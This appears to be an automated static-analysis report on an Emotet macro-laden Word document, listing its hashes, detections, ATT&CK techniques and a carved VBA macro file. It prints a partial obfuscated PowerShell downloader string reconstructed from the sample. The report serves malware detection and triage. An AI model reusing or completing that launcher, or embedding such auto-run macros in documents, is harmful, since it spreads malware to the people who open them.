Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9380f9cd5f729427…

MALICIOUS

Office (OLE)

165.1 KB Created: 2020-09-15 19:31:00 Authoring application: Microsoft Office Word
MD5: 40def00253285dc91e4648fa3f85481d SHA-1: a809d770770470df99549ebb2a47165aa32cd2cf SHA-256: 9380f9cd5f7294278d3ae6cf6e6a6b7ac08e815a2649e50d5ad1bb16b9ac0bff
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-9761754-0. Static analysis reveals the presence of VBA macros, specifically a Document_Open macro that utilizes CreateObject to execute code. This indicates the document is designed to download and execute a second-stage payload. The reconstructed string 'powershell -2vhaghsghfll -2vhaghsghfe JABEAG8ANA2vhaghsghfAD0AKAAnAF2vhaghsghfQAbgAnACsA2vhaghsghfKAAnADkAOQ2vhaghsghfAyACcAKwAn2vhaghsghfAGQAJwApAC2vhaghsghfsAJwBiACcA2vhaghsghfKQA7ACYAKA2vhaghsghfAnAG4AZQB32vhaghsghfACcAKwAnAC2vhaghsghf0AaQB0AGUA2vhaghsghfbQAnACkAIA2vhaghsghfAkAGUAbgBW2vhaghsghfADoAVQBTAE2vhaghsghfUAUgBQAHIA2vhaghsghfTwBGAEkATA2vhaghsghfBlAFwARAB62vhaghsghfAFIAbgBPAD2vhaghsghfUAOQBcAFQA2vhaghsghfVwBmAGgAdA2vhaghsghfBNAEoAXAAg2vhaghsghfAC0AaQB0AG2vhaghsghfUAbQB0AHkA2vhaghsghfcABlACAARA2vhaghsghfBpAHIARQBD2vhaghsghfAHQAbwByAH2vhaghsghf8AaQBuAHQA2vhaghsghfTQBhAG4AYQ2vhaghsghfBnAGUAcgBd2vhaghsghfADoAOgAiAH2vhaghsghfMARQBgAEMA2vhaghsghfdQByAGAASQ2vhaghsghfBgAFQAeQBw2vhaghsghfAHIATwB0AE2vhaghsghf8AYABDAE8A2vhaghsghfTAAiACAAPQ2vhaghsghfAgACgAKAAn2vhaghsghfAHQAbABzAC2vhaghsghfcAKwAnADEA2vhaghsghfMgAsACAAJw2vhaghsghfApACsAKAAn2vhaghsghfAHQAbAAnAC2vhaghsghfsAJwBzADEA2vhaghsghfJwApACsAKA2vhaghsghfAnADEAJwAr2vhaghsghfACcALAAgAC2vhaghsghfcAKQArACcA2vhaghsghfdAAnACsAJw2vhaghsghfBsAHMAJwAp2vhaghsghfADsAJABDAD2vhaghsghfgAZwBwAGQA2vhaghsghfMgA2ACAAPQ2vhaghsghfAgACgAJwBT2vhaghsghfAHgAJwArAC2vhaghsghfgAJwAwAGQA2vhaghsghfJwArACcAc' suggests the execution of a PowerShell command, likely to download and run further malicious content.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9761754-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9761754-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
75714e73d3e8750b3760209a7997fccc8b6d96f31b59fa1d20ad2b0ef4583864
vba-macro oletools.olevba.extract_macros (decoded VBA source) 25430 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.